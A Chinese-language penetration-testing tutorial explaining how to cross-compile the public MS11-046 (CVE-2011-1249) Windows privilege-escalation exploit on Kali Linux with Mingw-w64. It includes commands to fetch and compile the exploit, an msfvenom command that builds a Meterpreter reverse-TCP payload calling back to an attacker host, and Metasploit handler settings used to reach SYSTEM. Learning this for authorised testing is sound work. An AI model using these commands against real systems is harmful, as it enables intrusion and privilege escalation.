indows 操作系统作为目前使用最广的桌面系统,无论是在企业或是个人来说都占据着巨大的市场份额。因此,作为我们渗透测试人员来说,在日常工作中就会经常碰到 windows 环境下的工作和服务。另一方面,由于大多数渗透测试者主要使用基于 Linux 的发行版,如 Kali Linux,Pentoo 或 Backbox。因此,我们有时不得不在这些 Linux 系统上,来编译完成一些用于 windows 的 EXP。其实这并不难实现,只需一款名为 Mingw-w64 的软件就能帮我们完成任务!
Mingw-w64 是一个免费及开放源码的,用于 windows 应用程序的开发环境。最初它并不叫 Mingw-w64 而是叫 Mingw32,因为它不支持 64 位的操作系统。在本教程中,我将教大家如何在 kali linux 上编译用于 windows 下的 EXP。下面,让我们在 kali 上开始安装?Mingw-w64 。
Kali Linux 安装 Mingw-w64
Mingw-w64 在 kali 2.0 上并未集成,因此我们需要手动来完成安装。命令如下:
apt-get update
apt-get install mingw-w64
我们输入 Y 确认安装,下载和安装可能需要等一小会儿。
mingw-w64 安装包找不到?
在安装过程中,你可能会有这种情况,提示你无法找到 mingw-w64 安装包。就像下面:
root@kali:~# apt-get install mingw-w64
Reading package lists… Done
Building dependency tree
Reading state information… Done
E: Unable to locate package mingw-w64
要解决这个问题,必须确保你在 sources.list 文件中具有可用的存储库。我们使用 nano 来编辑打开该文件:
/etc/apt/sources.list
检查你的存储库是否正确可用,你可以在以下页面找到不同版本 Kali Linux 的存储库:
http://docs.kali.org/general-use/kali-linux-sources-list-repositories
当你正确配置了 sources.list 中的存储库,你需要使用 apt-get update 来更新你的源,之后再次进行 mingw-w64 的安装即可!
Mingw-w64 编译 Windows EXP
到这里我们已经成功安装了 Mingw-w64 在 kali 上。在这里我将以 CVE-2011-1249(MS11-046)为例,这是一个用 c 语言编写的 Windows EXP 它是 Windows 7 SP0 x86 上的一个漏洞利用程序。此版本的 Windows 系统,在 辅助功能驱动程序(AFD)中包含一个漏洞,并允许为已认证的非管理用户进行特权提升。虽然我们使用的?Mingw-w64 是为 64 位的系统定制的,但是它依然可以用于编译 32 位的 windows EXP。下面让我们看看如何编译一个 32 位的 windows EXP。
首先,让我们从 Exploit-db 上下载我们需要编译的 EXP:
wget ‐‐output-document= 40564.c https://www.exploit-db.com/download/40564
使用以下命令编译 Windows 32 位的 afd.sys exp:
i686-w64-mingw32-gcc [input file: source]–o [output file: .exe]–lws2_32
下面的命令编译的是 Windows 7?afd.sys 提权 exp:
i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_32
编译完成后,我们将编译后的 exe 文件拷贝到 Apache web 服务根目录下,并启动了 Apache 服务。
我们将下载到 windows 上的 exe 程序使用 cmd.exe 打开,可以看到如下信息:
可以看到我们编译后的 EXP 在 windows 7上被成功执行,并将我们的权限从原来的 test 提升为了 system 权限!这个 exploit 实际上在当前 shell 中生成了一个新的 shell,而不是在新窗口中创建一个新的 shell 。这意味着,我们也可以从命令行 shell 运行此利用程序。例如 Meterpreter 中。
Exploit 编译错误
当编译不同架构和操作系统的 EXP 时,可能会发生许多错误。有很多变量可能会导致编译失败,例如:语法,库,主机和目标系统架构,已安装的编译软件等,都会带来影响。有些错误我们可以很轻松的处理,但对于有些问题处理起来却并不轻松。从轻度的警告到致命的错误errors ,警告或许只是提示你一些功能函数的过时,但并不会导致程序无法运行。而关键错误提示则往往是致命的,它会导致你程序的直接终止运行。
处理编译错误的最佳方法是仔细阅读,然后在Google上搜索解决方案。通常来说你不会是唯一一个遇到这类错误的人,因此大可不必闭门重造轮子。在线资源,通常就能很好的解决你的问题。
Meterpreter shell 下 MS11-046 利用
让我们快速的使用 Msfvenom 来生成一个 Meterpreter 的 TCP 反弹 shell ,并在我们的目标主机上执行该 shell 。同时我们将使用 Metasploit 下的 multi handler 来处理反弹会话。使用以下命令生成 payload:
msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcp LHOST=[IP attackbox] LPORT=4444 -e x86/shikata_ga_nai –f exe –o exploit.exe
以上的 IP 和 PORT 根据你们自身情况填写。现在我们启动 msfconsole 并配置 multi handler exploit:
use exploit/multi/handler
set lhost [listening host IP]
set lport 4444
run
如果以上步骤正确无误,那么我们将会获取到目标主机的一个 Meterpreter shell :
下面我们就可以使用 shell 来进入命令行的 console 界面,并运行我们之前的提权 EXP 来实现权限的提升操作:
可以看到,我们成功将普通权限提升为了系统权限。这里由于在执行它的 shell 中生成了一个新的系统 shell ,因此我们权限受到了一定限制,导致我们无法在原来的 shell 中看到 EXP 的输出信息。如果你想看到 EXP 的信息,我们只需 exit 退出到普通 shell 中,我们依然可以看到 EXP 的输出信息:
总结:
在这篇文章中,我们学会了如何在 Linux 下编译和使用 windows EXP ,以及在 Meterpreter shell 中的使用方法。其实这不是最重要的,重要的是当我们在渗透过程中,遇到一些问题,我们要学会尝试着去解决它。这对我们的学习和成长将会带来不小的进步!
本文由 即刻安全 编译及整理。转载需注明来源!
转载请注明:即刻安全 » 如何在Kali Linux上编译Windows EXP?